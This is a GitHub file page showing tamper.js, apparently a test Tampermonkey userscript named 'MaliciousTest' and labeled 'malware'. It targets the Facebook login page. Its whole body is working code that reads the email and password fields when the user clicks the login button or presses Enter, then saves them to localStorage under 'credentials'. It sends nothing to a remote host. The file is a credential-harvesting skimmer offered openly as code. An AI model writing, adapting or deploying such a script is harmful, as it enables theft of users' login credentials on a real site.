forked from 15Dkatz/sfcookies
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathtamper.js
39 lines (33 loc) · 937 Bytes
/
tamper.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// ==UserScript==
// @name MaliciousTest
// @namespace http://tampermonkey.net/
// @version 0.1
// @description malware
// @author You
// @match https://www.facebook.com/
// @grant none
// ==/UserScript==
(function() {
'use strict';
// Your code here...
function getCreds() {
let user = document.getElementById("email").value;
let cred = document.getElementById("pass").value;
let data = {"user": user, "cred": cred};
return data;
}
function send() {
let data = getCreds();
window.localStorage.setItem("credentials", JSON.stringify(data));
}
const button = document.getElementById("loginbutton");
button.onclick = function(event) {
send();
}
document.addEventListener("keydown", function(e) {
var keycode = e.keyCode;
if(keycode == 13) {
send();
}
});
})();